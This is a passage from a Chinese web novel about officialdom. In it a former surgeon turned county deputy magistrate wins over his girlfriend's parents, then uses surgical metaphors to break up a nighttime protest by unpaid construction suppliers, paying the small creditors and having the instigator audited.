“朋友?”她重复了一遍这个词,语气里的怀疑毫不掩饰,“我怎么不知道我们家秋秋在青川县还有朋友?秋秋,你这肩膀的伤,是怎么回事?”
这个问题,问得极其刁钻。
它直接将“朋友”和“受伤”这两个关键词联系在了一起,暗示着一种不好的联想。
苏沐秋心头一紧,正要开口。
叶凡却抢先一步,用一种更加坦然的语气,接过了话头。
“阿姨,这件事都怪我。”
他没有回避,反而主动将责任揽了过来。
“沐秋的伤,是为了保护我造成的。前段时间,青川县处理一些历史遗留问题,触动了一些人的利益,我遭到了报复。是沐秋在关键时刻推开了我,自己却受了伤。”
他三言两语,便将事情的来龙去脉交代清楚,既点明了苏沐秋受伤的原因,又含蓄地透露出自己工作的复杂性和危险性,更重要的是凸显了苏沐秋的仗义和两人之间“战友”般的情谊。
这番话,远比任何“我们只是普通朋友”的辩解,都更有说服力。
果然,李云的脸色稍微缓和了一些,但眼神里的警惕并未消除。
苏为民一直沉默着,这时却开口了,他的声音很温和,但问题却很直接。
“你是医生?”
他的目光落在了叶凡那双骨节分明、异常稳定的手上。
那是一双外科医生的手。
叶凡眼中闪过一丝赞许。
这位苏教授的观察力,果然敏锐。
“是的,叔叔。我以前是市三院心外科的医生。”叶凡坦然回答,随即话锋一转,看向苏沐秋,“我刚才,是在帮沐秋检查她肩关节的恢复情况。她是闭合性骨折,后期康复很重要,她一个人住,我不放心,所以顺道过来看看。”
这个解释,天衣无缝。
它完美地将刚才那个暧昧的厨房拥抱,合理化为了一次“医生的专业检查”,瞬间就洗清了所有的旖旎色彩,变得光明正大,无可指摘。
苏沐秋在一旁听得目瞪口呆,心里对叶凡的佩服,简直如滔滔江水。
这个男人,不仅在官场上能化被动为主动,在“见家长”这个全新的战场上,竟然也能如此游刃有余!
“原来是这样。”李云的脸色终于彻底缓和下来,她看了一眼桌上吃了一半的饭菜,语气也软了下来,“那……叶医生,还没吃饭吧?一起坐下吃点?”
“不了,阿姨。”叶凡微笑着摇了摇头,“我跟沐秋已经吃过了。我今天来市里,是代表县里来跟发改委和财政局汇报工作,争取专项资金的。等下还要回单位,整理一下明天的会议材料。”
他再一次,不动声色地强调了自己的“公务在身”,既表明了自己事业心强,又为自己接下来的“告辞”铺好了台阶。
“哦,对对对,工作要紧。”李云连忙点头,看向叶凡的眼神,已经从最初的“警惕”,变成了“欣赏”。
有正当职业,有事业心,长得一表人才,还对自己女儿有救命之恩,这样的年轻人,确实很难让人讨厌。
几人来到客厅坐下。
苏为民亲自给叶凡倒了一杯茶,看似随意地问道:“小叶,听你的口音,不是江城本地人?”
“嗯,老家在下面县里。”叶凡坦然回答。
李云在一旁,终于问出了她最关心的问题。
“小叶啊,你……结婚了吗?”
空气,再一次安静下来。
苏沐秋的心瞬间提到了嗓子眼。
她紧张地看着叶凡,生怕他一句话说错,就让刚才好不容易建立起来的好感,瞬间崩塌。
叶凡端起茶杯,轻轻抿了一口,神色没有丝毫变化。
他看着李云和苏为民期待的眼神,平静地,清晰地,吐出了三个字。
“我离过。”
没有解释,没有掩饰,更没有丝毫的羞愧或难堪。
他就那么坦然地,将自己最“减分”的一项,直接摆在了桌面上。
李云脸上的笑容,瞬间僵住。
她张了张嘴,想说什么,却又不知道该怎么说。
离过婚!
这三个字,对于她这个级别和观念的家庭来说,无疑是一道巨大的鸿沟。
苏沐秋急了,连忙开口:“妈!这都什么年
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代了!叶凡他……”
“沐秋。”
叶凡打断了她,给了她一个安心的眼神。
然后,他将目光转向一直沉默不语,但眼神却变得深邃起来的苏为民。
“叔叔,阿姨,我知道,我的过去可能会让你们有所顾虑。”
“我不想隐瞒什么,也不想辩解什么。”
“我只想说,过去的事情,已经过去了。我现在是青川县的常务副县长,我所有的精力,都放在了如何改变青川的面貌上。”
他顿了顿,声音变得更加诚恳。
“至于我和沐秋,我们是最好的战友,也是最默契的搭档。她为了我受了伤,我照顾她,关心她,是应该的。无论我们未来会如何,这份情谊,都不会变。”
这番话,说得滴水不漏。
既表明了自己的坦诚,又划清了与苏沐秋目前的关系界限,同时,还彰显了自己的事业心和责任感。
他把自己放在了一个“进可攻,退可守”的绝佳位置。
苏为民看着叶凡,久久没有说话。
他的眼神里有惊讶,有审视,但更多的是一种棋逢对手的欣赏。
这个年轻人,太不简单了。
面对如此尴尬的突发状况,面对他们二人的轮番“拷问”,他始终沉稳冷静,应对自如,甚至还能反客为主,牢牢掌控着谈话的节奏。
这份心性,这份城府,远超他的年龄。
“好了,”苏为民终于开口,打破了沉默,他的脸上露出了一丝微笑,“年轻人,有自己的事业,有自己的想法,是好事。今天时间不早了,你既然还有工作,就先去忙吧。”
这是过关了?
苏沐秋简直不敢相信自己的耳朵。
“好的,叔叔,阿姨,那我就先告辞了。”
叶凡站起身,礼貌地道别。
他走到门口,又回头看了一眼沙发上那个包装精美的礼盒。
“阿姨,那是我给沐秋带的一点小礼物,是一条医用康复丝巾,对骨骼愈合和血液循环有好处,用法我已经跟沐秋说过了。”
说完,他冲着苏沐秋点了点头,转身,开门,离去。
整个过程,行云流水。
直到防盗门“咔哒”一声关上,苏沐秋还感觉像在做梦一样。
一场堪称“灾难级”的见家长,竟然就这么被叶凡轻描淡写地化解了?
客厅里,李云的脸色依然有些复杂,她拿起那条丝巾,抚摸着那柔软的质地,喃喃道:“这小子……倒是挺有心的。就是……离过婚,总归是……”
“离过婚怎么了?”
一直沉默的苏为民,突然开口,声音不大,却掷地有声。
“比起那些表面光鲜,内里藏污纳垢的公子哥,我倒觉得,这个小伙子,更像一块被泥沙包裹过的真金。”
他站起身,走到窗边,看着楼下那辆沉稳的黑色轿车缓缓驶离小区,眼神变得无比深邃。
“云啊,你还没看出来吗?”
“这个叶凡,他刚才不是在接受我们的盘问。”
“他是在给他自己,也给秋秋,动一场外科手术啊。”
“一场精准的、完美的、关系切割与重建的外科手术。”
李云愣住了。
而苏沐秋的手机,在此时震动了一下。
她拿起一看,是叶凡发来的一条短信。
“一号病人情绪反应在预估范围内,暂无不良反应。建议留院观察,并制定下一步治疗方案。早点休息,遵医嘱。”
苏沐秋看着这条短信,“噗嗤”一声笑了出来,眼眶却莫名地有些湿润。
第177章 诊断报告:岳父,也是病人!
客厅里的空气,因叶凡的离去而松弛下来,却又因他留下的话和那条丝巾,弥漫着一种复杂而微妙的余韵。
苏沐秋看着手机屏幕上那条调侃中带着掌控力的短信,心底最柔软的地方像是被轻轻戳了一下,酸酸麻麻的。
她忍不住“噗嗤”一声笑了出来,先前所有的紧张和担忧,都在这一笑中烟消云散。
这男人,简直是个妖孽。
官场是他手里的手术刀,现在连人情世故,都成了他诊断开方的病历本。
“笑什么呢?魂都快被勾走了。”
李云的声音幽幽传来,她拿起那条天青色的康复丝巾,在灯光下仔细端详,触感丝滑冰凉,工艺不凡。
“这东西,看着就不便宜。一个县里的干部,出手倒是大方。”话里有话,带着审视。
“妈!”苏沐秋收起手机,嗔怪地看了母亲一眼,“人家是心外科专家,这是医用级的,讲究的是功能,跟价钱有什么关系?”
“心外科专家?”李云挑了挑眉,“那怎么跑去当官了?这里面怕不是有什么故事吧?”
她的话语像一把精准的探针,直指问题的核心。
苏沐秋的心又提了起来,叶凡离婚的背景,以及被前岳父家打压的过往,是绕不过去的坎。
她正组织着语言,试图用最委婉的方式解释。
一直沉默的苏为民,却放下了手里的茶杯,开了口。
他的声音温润而平静,却带着一种洞穿世事的通透。
“云,你还没看明白吗?”
李云和苏沐秋都看向他。
“这个年轻人,从进门到离开,你以为他是在接受我们的盘问和审查?”
苏为民推了推鼻梁上的金边眼镜,镜片后的双眼闪烁着智慧的光芒。
“不,他不是。”
“他是在给我们做一场诊断。”
“诊断?”李云愣住了,显然没跟上丈夫的思路。
“没错。”苏为民的指节在红木茶几上轻轻敲击,发出笃笃的声响,像是在为自己的论断打着节拍。
“他进门第一句话,介绍自己是‘青川县的,沐秋的朋友’,这是‘亮明身份’,确定了‘医患关系’的基本盘。”
“你问沐秋的伤,他主动揽责,将一次男女间的暧昧冲突,定义为‘英雄救美’式的‘工伤’,这是‘病情陈述’,占据了道德制高点。”
“我问他是不是医生,他顺势就将刚才在厨房的亲密举动,解释为‘医生检查’,这是‘专业化定性’,瞬间洗脱了所有嫌疑,把一场可能的情感危机,变成了合理的医疗行为。”
苏为民的语速不快,但每一句话,都让苏沐秋和李云心头剧震。
她们这才回过味来,刚才那短短十几分钟的交锋,竟藏着如此多的机心和布局!
“最精彩的,”苏为民的嘴角勾起一抹抑制不住的欣赏,“是你问他婚史的时候。”
他看向自己的妻子。
“那是一个死局。无论他怎么解释,‘离过婚’这个标签,在我们的观念里,都是一个巨大的减分项。隐瞒,是欺骗;辩解,是心虚。”
“可他怎么做的?”
“‘我离过’。”
苏为民一字一顿地重复着叶凡当时的回答,眼神愈发明亮。
“没有丝毫犹豫,没有半句废话。他就像一个最高明的外科医生,面对一个无法回避的肿瘤,选择的不是遮掩,而是用最快、最准的一刀,直接切开!”
“他把最坏的结果,第一时间摆在我们面前。这一刀下去,看似血淋淋,却瞬间掌握了主动权。因为他知道,当他把自己的‘缺陷’毫不保留地亮出来时,我们接下来所有的质疑,都会显得像是对一个坦诚之人的苛责。”
“然后,他立刻用‘常务副县长’的身份和‘改变青川’的事业心,来作为‘术后缝合’的材料。他告诉我们,过去不重要,重要的是他现在是谁,他未来要做什么。”
苏为民长长地舒了一口气,靠在沙发上,发出由衷的感叹。
“一场完美的关系切割与形象重塑手术。从诊断,到切除,再到缝合,一气呵成。这个人,心思之缜密,心性之沉稳,远超他的年龄。”
“他不是池中之物。”
这是苏为民最后的结论,掷地有声。
李云彻底说不出话了。
她引以为傲的识人眼光和官场阅历,在丈夫的复盘之下,显得如此幼稚。
她以为自己在审查一个晚辈,殊不知,自己和丈夫,都成了对方手术台上的“一号病人”。
苏沐秋的心脏则不受控制地狂跳起来。
她知道叶凡很厉害,却从没想过,他能厉害到这个地步。
父亲苏为民是著名的历史学教授,看人一向毒辣,极少如此不加掩饰地盛赞一个年轻人。
她看着手机里那条短信,脸颊滚烫。
原来,“一号病人情绪反应在预估范围内”,竟是这个意思!
这个混蛋!
……
夜色如墨。
返回青川的高速路上,叶凡的车开得很稳。
车窗开着一道缝,晚风灌入,吹散了车内残留的,属于苏沐秋家中那淡淡的饭菜馨香。
他的脑海里,还在回放着刚才的一幕幕。
坦白自己的婚史,是一步险棋。
但他必须这么走。
他很清楚苏沐秋父母这类知识分子兼高级干部的家庭,最看重什么。
不是家世,不是财富,而是品性、坦诚与未来。
任何的隐瞒和修饰,都会在苏为民那样的老狐狸面前,显得无比拙劣。
与其被动地被揭开伤疤,不如自己亲手划开,再用实力,将其完美缝合。
他要的不是苏沐秋父母一时的好感,而是从根子上,扭转他们对自己“离异男人”的刻板印象,建立一个“有能力、有担当、有未来的强者”的全新认知。
这是他为自己和苏沐秋的未来,动的第一场“预防性手术”。
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从苏为民最后的眼神里,他知道,这场手术,成功了。
凌晨十二点,车子驶入青川县城。
县政府大楼依然灯火通明,这已经成了叶凡上任后的常态。
他刚把车停稳,秘书小张就一脸焦急地迎了上来。
“叶县长,您可算回来了!”
“出什么事了?这么晚还没回去?”叶凡看他神色不对,眉头一皱。
“出事了!”小张的声音压得很低,但难掩慌乱,“一个小时前,宏发建工的几十个材料供应商,把县政府的大门给堵了!”
“堵门?”叶凡眼神一凛。
“是!他们拉着横幅,说……说我们政府卸磨杀驴,搞垮了宏发建工,让他们血本无归,要求县政府立刻给他们结清几千万的材料款!”
叶凡的脚步停住了。
他知道,王海的宏发建工破产,必然会留下一地鸡毛。
但他没想到,这根鸡毛,这么快就烧到了县政府的头上。
“带头的是谁?”叶凡沉声问道。
“一个叫吴老三的,是县里最大的钢材供应商。听说……听说他以前跟高明远和王海走得很近。”小张补充道。
叶凡的眼中闪过一丝冷冽的光。
跟高明远走得近?
事情,恐怕没那么简单。
供应商要钱,天经地义。
但采取堵政府大门这种极端方式,而且时间点恰好选在他去市里汇报工作的当口,这背后,若说没有人在煽风点火,他绝不相信。
这是他扳倒高明远,整顿宏发之后,遭遇的第一次正面反扑。
也是对他这位新任常务副县长权威的,第一次公开挑衅!
“李县长知道了吗?”
“知道了。李县长的意思是,先稳住,等您回来处理。”
叶凡点点头。
**这是把皮球,也是把立威的机会,完全交给了他。
“让他们闹。”
叶凡的语气出乎意料的平静。
他没有直接去县政府门口,而是转身走向自己的办公室。
“让**办和**的同志在场维持秩序,确保不出安全问题。不要跟他们发生任何冲突,也不要做出任何承诺。”
“另外,”叶凡的脚步在办公室门口停下,回头看向小张,目光锐利如刀,“你现在,立刻去查一下,这个吴老三,除了和高明远关系好,最近还和市里的什么人,接触得比较频繁。”
小张心头一凛,重重地点了点头。
叶凡推开办公室的门,看着窗外县政府大门口那片攒动的人头和隐约传来的叫骂声,嘴角缓缓勾起一抹冰冷的弧度。
他刚从一场“家庭手术”的战场上下来,还没来得及喘口气,就有人迫不及待地,把另一场更复杂的“社会肿瘤切除手术”,摆在了他的面前。
很好。
他正愁那把新到手的“常务副县长”手术刀,没有合适的病人来开刃。
现在,病人自己送上门了。
第178章 晾一晾,脓在哪儿?
县政府大楼外,夜色被探照灯和嘈杂的人声撕开一道口子。
几十号人堵在门口,手里举着歪歪扭扭的横幅,“宏发破产,政府买单”、“还我血汗钱”,口号喊得有气无力,却像一把钝刀子,一下下磨着青川县的脸面。
县委大院里,几栋办公楼的窗帘后面,不知道有多少双眼睛正盯着这场闹剧。有担忧的,有幸灾乐祸的,但更多的是一种复杂的观望——他们都在看,看这位新上任的、风头正劲的常务副县长,要如何收拾这个烂摊子。
高明远倒了,可他盘踞青川多年,根系早已渗透进这片土地的每一个角落。宏发建工就是他最粗壮的一条根,如今根被拔了,留在土里的窟窿,正往外冒着毒气。
叶凡的办公室里,灯火通明。
他却像是完全屏蔽了窗外的喧嚣,正慢条斯理地给自己泡上一杯清茶。茶叶在沸水中舒展,一缕清香袅袅升起。
秘书小张在旁边急得像热锅上的蚂蚁,来回踱步,时不时就望向窗外,额头上全是细密的汗珠。
“叶县长,**办的王主任已经打了三个电话了,说那帮供应商情绪越来越激动,吴老三还在那儿煽风点火,说您是故意躲着不见他们,心里有鬼。”
叶凡端起茶杯,轻轻吹了吹浮沫,喝了一小口,温热的茶水顺着喉咙滑下,驱散了深夜的寒意。
“急什么。”他放下茶杯,声音不大,却让小张瞬间停下了脚步,“让他们喊。天冷,喊累了,喊饿了,自然就想回家了。”
“可是……影响太不好了。李县长那边……”
“李县长那边,我去说。”叶凡抬眼看了看小张,“你当医生给病人看病,是病人一喊疼,你就立马把止痛药给他打上吗?”
小张一愣,下意识地摇了摇头。
“那得先看清楚,他到底是哪儿疼,是真疼还是装疼,是皮外伤,还是里头烂了。”叶凡的手指在桌上轻轻敲了敲,“现在这群人,就像一个突发腹痛的病人,哭天抢地。吴老三是那个嗓门最大的,但他未必是最疼的那个。我们得晾一晾,让那些真正疼得受不了的人,自己先忍不住。”
这番比喻,小张听得半懂不懂,但他明白了核心意思——叶县长,压根就没打算按常理出牌。
果然,叶凡不再理会窗外,而是拿起一份关于凤凰湖项目重建的规划草案,仔细看了起来。仿佛外面那些人,不过是几只聒噪的夏蝉。
这份镇定,让小张焦躁的心也莫名地安定了下来。
大概半小时后,办公桌上的红色电话机响了。
是县长**的专线。
“叶凡同志,情况怎么样了?”**的声音听起来还算沉稳,但叶凡能听出一丝不易察觉的急切。
“李县长,您还没休息?”叶凡的语气轻松得像是在聊家常。
电话那头的**顿了顿,似乎被叶凡这态度给弄得有点不会了,他苦笑一声:“几十号人堵着大门,我哪睡得着?你小子,倒是一点不急。”
“急也没用。李县长,这是一场针对我的外科手术,对手想看看我的手,稳不稳。”叶凡靠在椅背上,“我现在要是自乱阵脚冲出去,就正中他们下怀了。”
“外科手术?”**咀嚼着这个词,瞬间明白了叶凡的意思,“你是说,有人在背后操纵?”
“高明远虽然倒了,但他喂肥的那些人还在。吴老三就是其中之一。”叶凡淡淡地说,“我猜,他们是想用这些供应商当手术刀,在我身上划一道口子,看看会不会流血,顺便也试试您的态度。”
**在电话那头沉默了片刻,随即发出一声冷哼:“一群跳梁小丑!那你打算怎么办?总不能真让他们堵到天亮吧?市里要是知道了,我们脸上无光。”
“快了。”叶凡看着窗外,“脓包,很快就要自己破了。我需要您帮我顶住压力,今晚无论谁问,就说全权交给我处理了。”
“行!我给你兜着!”**回答得斩钉截铁,“我倒要看看,你这把新手术刀,第一刀要怎么下!”
挂了电话,叶凡又恢复了那副气定神闲的模样。
又过了十几分钟,小张领着一个穿着环卫工制服的中年男人走了进来。男人有些局促,手里还捏着帽子。
“叶县长,这位是老陈,负责打扫政府大院门口那一片的。他听到了点东西。”
叶凡站起身,亲自给老陈倒了杯热水:“陈师傅,辛苦了。坐下说。”
老陈受宠若惊,连连摆手,但还是被叶凡按着肩膀坐下了。他喝了口热水,情绪稳定了些,开口道:“叶县长,我刚才在人群后面扫地,听见那个带头的吴老三,偷偷给两个人塞钱。还听见他对那俩人说,‘待会儿声音喊大点,谁要是敢先走,明天就别想在青川的工地上拉一车沙子’。”
叶凡和小张对视了一眼。
果然,是威逼利诱,软硬兼施。
“他还说什么了?”叶凡追问。
“他还……他还接了个电话。”老陈努力回忆着,“对面的人好像挺横,吴老三一个劲儿地点头哈腰,说什么‘您放心’、‘保证给那姓叶的弄个下不来台’……我好像还听到一句,说什么‘事成之后,城南医院项目的土方,都归我了’。”
城南国际医院项目!
叶凡的眼睛倏地眯了起来。
他瞬间明白了。这已经不是高明远的旧部在报复,而是有新的饿狼,盯上了国际医院这块肥肉!他们想通过
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搅乱宏发建工的烂摊子,来证明叶凡没有能力处理复杂问题,从而在接下来的项目招标中,把他这个总负责人给搅黄,甚至掀下马去!
好一招釜底抽薪!
就在这时,小张的手机震动了一下,他看了一眼,脸色微变,快步走到叶凡身边,压低声音道:“叶县长,查到了。吴老三最近半个月,三次去了江城,见的都是同一个人。那个人叫魏东,是……华天资本的投资部副总。”
华天资本!
叶凡心头一动。这个名字他有印象,是省内一家实力雄厚的投资公司,业务范围很广,尤其擅长在二三线城市搞项目投资,但名声似乎不太好,霸道且喜欢走上层路线。
原来是资本下场了。
叶凡的嘴角反而勾起一抹玩味的笑意。
他最不怕的,就是对手露出獠牙。因为只有獠牙露出来,他才知道该从哪里下手。
他拿起手机,拨通了苏沐秋的电话。
电话很快就接通了,那头传来苏沐秋带着睡意的声音,软糯又有些慵懒:“叶大县长,这都几点了,查岗啊?”
“查岗不敢,查个人。”叶凡的声音里带着一丝笑意,“苏大记者,又要辛苦你了。”
“说吧,这次又是什么疑难杂症?”苏沐秋似乎清醒了一些。
“你现在方不方便,帮我用你们报社的资料库,查一下堵在县政府门口的这批供应商。我不要那个带头的吴老三,我需要你帮我找出里面……欠款最少、规模最小、最不起眼的那几家。最好是那种家庭作坊,全家老小都指着这点钱过年的。”叶凡的语速不快,但要求异常清晰。
苏沐秋那边沉默了几秒,冰雪聪明的她立刻明白了叶凡的意图:“你要……釜底抽薪,不对,是精准扶贫?”
“专业点,这叫‘分级诊疗,对症下药’。”叶凡笑道,“我要把真正生病的,和那些装病的、被病毒感染的人,区分开。”
“你这人……真是把官场当手术室了。”苏沐秋在那头轻笑一声,“等着,十分钟后给你名单。”
挂了电话,叶凡转向小张:“通知财政局刘局长,还有特别工作小组的几位同志,马上到我办公室开会。另外,准备五万块现金。”
小张一愣:“叶县长,咱们不是不给钱吗?”
叶凡拿起外套,目光扫向窗外那片依旧喧闹的人群,眼神变得锐利而冷静。
“不,钱要给。”
“但怎么给,给谁,我说了算。”
“手术,现在开始。”
他迈步向外走去,留给小张一个挺拔而决绝的背影。夜风从走廊的窗户灌进来,吹得他的衣角猎猎作响,像极了一位即将走上手术台的主刀医生,白袍翻飞。
第179章 你的声音,我听到了!
凌晨一点,县政府大门前的对峙,已经进入了疲乏期。
供应商们的口号声变得稀稀拉拉,寒冷的夜风像刀子一样刮在脸上,许多人已经冻得嘴唇发紫,裹紧了单薄的外套,眼里透出迷茫和悔意。
吴老三还在那儿强打精神,唾沫横飞地鼓动着:“兄弟们,顶住!胜利就在眼前了!姓叶的不敢出来,说明他怕了!我们再加把劲,天亮之前,县里肯定妥协!”
他话音刚落,人群后方忽然传来一阵骚动。
几名警察分开了人群,开出一条通道。
在无数道惊愕、疑惑的目光中,叶凡走了出来。
他没有穿领导夹克,只穿了一件深色的薄呢外套,里面是白衬衫,领口解开了一颗扣子。他没有带秘书,没有前呼后拥,就那么一个人,步履沉稳地走到了灯光下。
全场瞬间安静下来,只剩下呼啸的风声。
吴老三先是一愣,随即脸上涌起一阵狂喜,他以为叶凡是来谈判的,立刻挺直了腰杆,摆出一副胜利者的姿态,扯着嗓子喊道:“叶县长,你可总算肯露面了!我们这些小老百姓的血汗钱,你打算怎么解决啊?”
叶凡的目光,却没有在他身上停留哪怕一秒。
他径直从吴老三身边走了过去,仿佛他只是一团空气。
吴老三脸上的笑容僵住了,涨成了猪肝色,伸出的手尴尬地停在半空。
叶凡的脚步,停在了一个缩在人群角落里的老人面前。老人穿着一身洗得发白的蓝色工装,满脸皱纹,嘴唇干裂,正哆哆嗦嗦地想从兜里摸烟。
“大爷,别抽了。”叶凡的声音很温和,没有半点官腔,“天这么冷,您这脸色发白,嘴唇发绀,是典型的心血管供血不足。再抽烟,再在这儿吹风,晚上回去怕是要犯病的。”
老人被他说得一愣,捏着烟的手停住了。
周围的人也都愣住了,谁也没想到,这位常务副县长一开口,不是谈钱,而是像个医生一样,给人看起了病。
“您是……宏发工地的张木匠吧?”叶凡看着老人,继续说道,“给他们供应定制木门的,一共是三万四千块的货款,拖了快半年了,对吗?”
张木匠浑身一震,浑浊的眼睛里写满了不可思议:“你……你怎么知道?”
“你的声音,我听到了。”叶凡的回答简单而有力。
他转过身,目光缓缓扫过人群,声音不大,却清晰地传到每一个人耳朵里:“张木匠,三万四。卖螺丝的李家兄弟,一万八。送水泥的王二麻子,四万出头,你儿子下个月结婚,等着这笔钱买家电,是不是?”
他每点出一个名字,报出一笔欠款,甚至说出对方的家事,人群中就发出一阵压抑不住的惊呼。
被点到名的人,个个目瞪口呆,仿佛自己被这位年轻的县长用X光从里到外看了个通透。他们只是人群里最不起眼的小角色,吴老三甚至都叫不全他们的名字,可叶凡却一清二楚。
这份震撼,远比任何空洞的承诺都来得有力。
“各位乡亲。”叶凡的声音提高了一些,吸引了所有人的注意,“我知道,大家都是靠手艺吃饭的老实人,宏发倒了,你们的钱拿不回来,心里急。这个急,我懂。这个难,我感同身受。”
他的目光再次变得锐利,直视着因为被无视而气急败坏的吴老三。
“但是,用堵门这种方式,解决不了问题。只会让真正需要帮助的人,和那些别有用心、想浑水摸鱼的人,混在一起,让事情变得更复杂。”
他话锋一转,对着人群朗声道:“所以,我今天代表县政府,在这里宣布一个决定。”
他拍了拍手,秘书小张立刻领着财政局和工作组的几名干部,抬着一张桌子,搬着几把椅子走了出来,桌上还放着一个红色的点钞机和一个黑色的手提箱。
“从现在开始,在这里设立‘宏发建工中小供应商欠款紧急兑付点’。”
“所有被拖欠款项在五万元以下的供应商,凭你们的供货合同、发票原件,现场核对无误后,立刻兑付80%的现金!剩下的20%,等宏发建工的资产清算完毕后,优先补齐!”
轰!
人群像是被投入了一枚**,瞬间沸腾了!
“真的假的?现在就给钱?”
“还是现金?”
“俺的钱不到两万,是不是也能领?”
刚才还死气沉沉的人群,瞬间活了过来。那些真正等钱救命的小供应商们,脸上露出了狂喜和不敢置信的神情,纷纷朝着兑付点涌去。
“大家不要急,一个一个来!”小张在旁边大声维持着秩序。
第一个上前的是张木匠,他颤抖着手递上发黄的合同和发票。工作组的干部和财政局的人员迅速核对,确认无误后,点钞机“哗啦啦”地响起。
两万七千二百块红色的钞票,被整整齐齐地交到张木匠手里。
老人捧着那沓还带着油墨香的钱,眼眶一下子就红了,嘴唇哆嗦着,半天说不出一句话,最后对着叶凡,深深地鞠了一躬。
这一躬,比任何语言都有分量。
榜样的力量是无穷的。张木匠领到钱后,剩下的小供应商们彻底疯狂了,一个个争先恐后地排起了队。原先铁板一块的**人群,瞬间被釜底抽薪,瓦解得干干净净。
吴老三站在原地,彻底傻眼了。
他看着自己身边的人越来越少,看着那些刚才还跟着他喊口号的人,现在都满脸喜色地围在兑付点,他感觉自己像个被人扒光了衣服的小丑,在寒风中瑟瑟发抖。
他被耍了!
叶凡这招太狠了!用一笔不算多的钱,就把他辛辛苦苦煽动起来的“**”给彻底分化瓦解了!
“姓叶的!你什么意思!”吴老三终于反应过来,气急败坏地冲到叶凡面前,指着他的鼻子吼道,“凭什么他们有钱拿,我们这些大户就没有?我的几百万呢?你这是区别对待!不公平!”
叶凡一直挂在脸上的温和笑意,在吴老三冲过来的那一刻,瞬间消失得无影无踪。
他冷冷地看着吴老三,眼神像手术刀一样冰冷锋利。
“公平?”叶凡的语气里带着一丝嘲弄,“跟你这种人,我需要讲公平吗?”
“你……”吴老三被
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他看得心底发毛。
“小供应商们要的是救命钱,几万块,能让一个家庭过个好年,能给孩子交上学费。所以政府特事特办,启动紧急预案,为他们兜底。这是为民办事,天经地义。”
叶凡向前踏了一步,气势陡然攀升,压得吴老三不由自主地后退了半步。
“而你,吴老板。”叶凡盯着他的眼睛,一字一顿地说道,“你被拖欠的款项高达数百万,账目繁杂,合同众多。你敢保证,你和宏发建工之间的每一笔交易,都干干净净,没有半点猫腻吗?”
吴老三的脸色“唰”地一下白了。
“我听说,宏发建工的好几个项目,钢材价格都比市场价高出两成。你和王海,还有高明远,关系很好啊。”
叶凡的声音不大,却像重锤一样,狠狠地砸在吴老三的心口。
吴老三的冷汗,瞬间就下来了。他没想到,叶凡连这些陈年旧账都查得一清二楚。
“所以,像你这样的大额债权,必须经过最严格的审计。”叶凡的语气不容置疑,“工作组会联合纪委、**、税务的同志,成立专项审计小组,对你公司和宏发建工之间的所有资金往来,进行全面彻查。放心,如果你的账是干净的,县政府一分都不会少你的。但如果……查出什么问题……”
叶凡没有再说下去,但那冰冷的眼神,已经说明了一切。
吴老三腿一软,差点没站稳。他知道,自己完了。他那些和王海勾结做出来的阴阳合同、虚高报价,根本经不起查!
人群中,苏沐秋站在一棵大树的阴影里,看着叶凡从容不迫地瓦解危机,看着他三言两语就将一个嚣张的地头蛇逼入绝境,她的心脏不争气地加速跳动起来。
这个男人,在处理这些复杂局面时,散发出的那种掌控一切的魅力,简直让人无法抗拒。
她悄悄举起手机,拍下了叶凡那个冰冷而锐利的眼神。这张照片,她不打算发表,只想自己留着。
危机解除,人群渐渐散去。
吴老三失魂落魄地被两名警察“请”去配合调查。
叶凡揉了揉有些发胀的太阳穴,转身准备回办公室。
手机震动了一下,是苏沐秋发来的信息。
“叶大夫,恭喜你,又完成了一台漂亮的‘肿瘤切除术’。不过,你这招‘区别对待’,就不怕落下话柄,说你不公平?”
叶凡看着信息,笑了笑,手指飞快地在屏幕上敲击。
“对于讲道理的病人,我用仁心。对于不讲理的癌细胞,我只用手术刀。哪有什么绝对的公平,只有对症下药。”
他顿了顿,又补了一句。
“庆功宴,是不是可以补上了?这次,我想尝尝你做的红烧肉。”
信息发出去,叶凡抬头看了一眼县政府大楼上那枚闪闪发光的国徽,深深吸了一口冰冷的空气。
他知道,吴老三只是一个被推到前台的卒子。他真正要面对的,是那个藏在幕后,觊觎着国际医院项目,名为“华天资本”的庞然大物。
今晚,他只是切掉了一个小小的病灶。而真正的大手术,才刚刚开始。
第180章 缝合与新的病灶!
吴老三被带走的消息,像一阵风,一夜之间吹遍了青川县的官场。
第二天一早,县政府大楼里的气氛就变得格外不同。
走廊里相遇的干部们,看到叶凡时,眼神里少了许多审视和观望,多了几分实实在在的敬畏。
常务副县长办公室的门槛,快要被踏破了。
“叶县长,这是我们城建局连夜赶出来的凤凰湖项目清淤方案,您过目!”
“叶县长,财政局这边已经把拍卖公车的款项核算清楚了,随时可以注入重建资金账户!”
王建林和刘胖子这两位局长,一改往日的油滑,此刻表现得比谁都积极,手里的文件递得毕恭毕敬。
叶凡只是淡淡地点头,让他们把文件放下,没有多余的客套。他很清楚,这些人的转变,不是因为敬佩他的人格,而是畏惧他的手腕。
昨晚那场“手术”,立威的效果,比他预想的还要好。
打发走一波又一波前来“汇报工作”的干部,叶凡终于有了一丝喘息之机。他靠在椅子上,闭目沉思。
吴老三这条线,已经交给了纪委和**。他相信,顺着这条藤,很快就能摸到“华天资本”这个瓜。
但他不打算被动等待。
他拿起电话,打给了县长**。
“李县长,昨晚的事情,虽然暂时平息了,但也给我们提了个醒。”叶凡开门见山,“国际医院这个项目,已经被人盯上了。我们接下来的每一步,都必须走得稳,走得透明。”
“我正想跟你说这个。”**在那头沉声说道,“华天资本那边,我托市里的老朋友打听了一下。这家公司背景不简单,在省里都有关系。他们做事,向来是先礼后兵,昨晚的‘兵’既然折了,那接下来,恐怕就是‘礼’要登门了。”
“让他们来。”叶凡的语气很平静,“我正愁没有一个合适的平台,来展示一下我们青川县的‘待客之道’。”
“哦?”**来了兴趣,“你又有什么新点子了?”
“我准备,把国际医院项目的招标,做成一场全省瞩目的‘公开课’。”叶凡微微一笑,“我要成立一个规格极高的项目招标委员会,邀请省发改委、省卫生厅的专家来当顾问,邀请江城电视台、省报的记者全程跟踪报道。所有的标书、资质审核、评标过程,全部在网上实时直播。”
**在电话那头倒吸一口凉气。
全程直播?这在江城市,乃至整个行省,都闻所未闻!
政府项目招标,向来是猫腻最多的地方。叶凡这么做,等于是把自己和所有参与者,都放在了聚光灯下,一丝一毫的操作空间都没有了。
“你这是……在走钢丝啊!”**感叹道,“这么一来,华天资本那些习惯了暗箱操作的手段,就全废了。但同样的,我们自己也戴上了紧箍咒,万一哪个环节出一点纰漏,都会被无限放大!”
